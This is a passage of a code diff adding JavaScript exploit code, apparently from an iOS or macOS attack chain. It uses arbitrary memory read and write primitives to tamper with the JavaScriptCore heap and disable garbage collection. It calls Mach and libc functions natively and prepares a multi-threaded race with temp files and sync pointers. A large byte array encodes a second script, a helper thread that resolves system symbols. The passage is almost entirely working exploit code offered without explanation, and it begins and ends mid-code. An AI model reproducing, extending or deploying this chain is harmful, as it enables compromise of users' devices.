permission, object_handle, parent_entry) { + return fcall(MACH_MAKE_MEMORY_ENTRY_64, target_task, size, offset, permission, object_handle, parent_entry); + } + function mach_vm_map(target_task, address, size, mask, flags, object, offset, copy, cur_protection, max_protection, inheritance) { + return fcall(MACH_VM_MAP, target_task, address, size, mask, flags, object, offset, copy, cur_protection | max_protection << 32n, inheritance); + } + function mmap(addr, len, prot, flags, fd, offset) { + return fcall(MMAP, addr, len, prot, flags, fd, offset); + } + function mlock(address, size) { + return fcall(MLOCK, address, size); + } + function munlock(address, size) { + return fcall(MUNLOCK, address, size); + } + function mach_port_deallocate(task, name) { + return fcall(MACH_PORT_DEALLOCATE, task, name); + } + function mach_task_self() { + return 0x203n; + } + function new_uint64_t(val = 0n) { + let buf = calloc(1n, 8n); + uwrite64(buf, val); + return buf; + } + function disable_gc() { + let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); + let heap = vm + 0xc0n; + let isSafeToCollect = heap + 0x241n; + uwrite64(isSafeToCollect, 0n); + } + function enable_gc() { + let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); + let heap = vm + 0xc0n; + let isSafeToCollect = heap + 0x241n; + uwrite64(isSafeToCollect, 1n); + } + function disarm_gc() { + let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); + let heap = vm + 0xc0n; + let m_threadGroup = uread64(heap + 0x198n); + let threads = uread64(m_threadGroup); + uwrite64(threads + 0x20n, 0x0n); + } + disable_gc(); + disarm_gc(); + enable_gc(); + let executable_name = 0n; + let read_file_path = 0n; + let write_file_path = 0n; + let target_file_size = PAGE_SIZE * 0x2n; + let oob_offset = 0x100n; + let oob_size = 0xf00n; + let n_of_oob_pages = 2n; + let pc_address = new_bigint(); + let pc_size = 0n; + let pc_object = new_bigint(); + let free_target = 0n; + let free_target_size = 0n; + let write_fd = 0n; + let read_fd = 0n; + let random_marker = arc4random() << 32n | arc4random(); + let wired_page_marker = arc4random() << 32n | arc4random(); + let free_thread_start_ptr = 0n; + let free_target_sync_ptr = 0n; + let free_target_size_sync_ptr = 0n; + let target_object_sync_ptr = 0n; + let target_object_offset_sync_ptr = 0n; + let go_sync_ptr = 0n; + let race_sync_ptr = 0n; + let free_thread_jsthread = 0n; + let free_thread_arg = 0n; + function init_target_file() { + let _CS_DARWIN_USER_TEMP_DIR = 65537n; + read_file_path = calloc(1n, 1024n); + write_file_path = calloc(1n, 1024n); + confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024n); + confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n); + strcat(read_file_path, get_cstring(`/${arc4random().hex()}`)); + strcat(write_file_path, get_cstring(`/${arc4random().hex()}`)); + create_target_file(read_file_path); + create_target_file(write_file_path); + read_fd = open(read_file_path, 0x2n); + write_fd = open(write_file_path, 0x2n); + LOG("[+] read_fd: " + read_fd.hex()); + LOG("[+] write_fd: " + write_fd.hex()); + remove(read_file_path); + remove(write_file_path); + fcntl(read_fd, 48n, 1n); + fcntl(write_fd, 48n, 1n); + } + function pe_init() { + init_target_file(); + if (executable_name == 0n) { + let length = BigInt("0x1024"); + let executable_path = calloc(1n, length); + _NSGetExecutablePath(executable_path, get_bigint_addr(length)); + executable_name = strrchr(executable_path, 0x2fn); + if (executable_name != 0n) { + executable_name = executable_name + 0x1n; + } else { + executable_name = executable_path; + } + } + free_thread_arg = calloc(1n, PAGE_SIZE); + LOG("[+] free_thread_arg: " + free_thread_arg.hex()); + free_thread_start_ptr = free_thread_arg; + free_target_sync_ptr = free_thread_arg + 0x8n; + free_target_size_sync_ptr = free_thread_arg + 0x10n; + target_object_sync_ptr = free_thread_arg + 0x18n; + target_object_offset_sync_ptr = free_thread_arg + 0x20n; + go_sync_ptr = free_thread_arg + 0x28n; + race_sync_ptr = free_thread_arg + 0x30n; + let free_thread_js_data = new Uint8Array([102, 99, 97, 108, 108, 95, 105, 110, 105, 116, 40, 41, 59, 10, 108, 101, 116, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 32, 32, 32, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 67, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 82, 69, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 114, 101, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 69, 77, 67, 80, 89, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 34, 41, 59, 10, 10, 108, 101, 116, 32, 83, 76, 69, 69, 80, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 85, 83, 76, 69, 69, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 77, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 80, 89, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 80, 89, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 78, 80, 82, 73, 78, 84, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 110, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 73, 78, 84, 70, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 10, 108, 101, 116, 32, 69, 82, 82, 78, 79, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 114, 114, 110, 111, 34, 41, 59, 10, 108, 101, 116, 32, 67, 76, 79, 83, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 69, 88, 73, 84, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 120, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 67, 72, 65, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 99, 104, 97, 114, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 80, 73, 68, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 112, 105, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 89, 83, 67, 65, 76, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 121, 115, 99, 97, 108, 108, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 115, 115, 101, 114, 116, 40, 97, 44, 32, 98, 32, 61, 32, 34, 78, 47, 65, 34, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 33, 97, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 96, 97, 115, 115, 101, 114, 116, 32, 102, 97, 105, 108, 101, 100, 58, 32, 36, 123, 98, 125, 96, 41, 10, 32, 32, 32, 32, 125, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 69, 82, 82, 79, 82, 40, 97, 41, 32, 123, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 97, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 32, 61, 32, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 82, 69, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 117, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 85, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 109, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 77, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 110, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 78, 80, 82, 73, 78, 84, 70, 44, 32, 98, 117, 102, 44, 32, 115, 105, 122, 101, 44, 32, 102, 109, 116, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 73, 78, 84, 70, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 102, 109, 116, 41, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 108, 111, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 76, 79, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 120, 105, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 69, 88, 73, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 99, 104, 97, 114, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 67, 72, 65, 82, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 112, 105, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 80, 73, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 121, 115, 99, 97, 108, 108, 40, 110, 117, 109, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 89, 83, 67, 65, 76, 76, 44, 32, 110, 117, 109, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 40, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 117, 116, 115, 110, 97, 109, 101, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 50, 53, 54, 110, 44, 32, 53, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 102, 99, 97, 108, 108, 40, 85, 78, 65, 77, 69, 44, 32, 117, 116, 115, 110, 97, 109, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 117, 116, 115, 110, 97, 109, 101, 32, 43, 32, 40, 50, 53, 54, 110, 32, 42, 32, 52, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 59, 10, 125, 10, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 82, 69, 76, 69, 65, 83, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 82, 101, 108, 101, 97, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 72, 79, 87, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 104, 111, 119, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 48, 56, 48, 48, 48, 49, 48, 48, 110, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 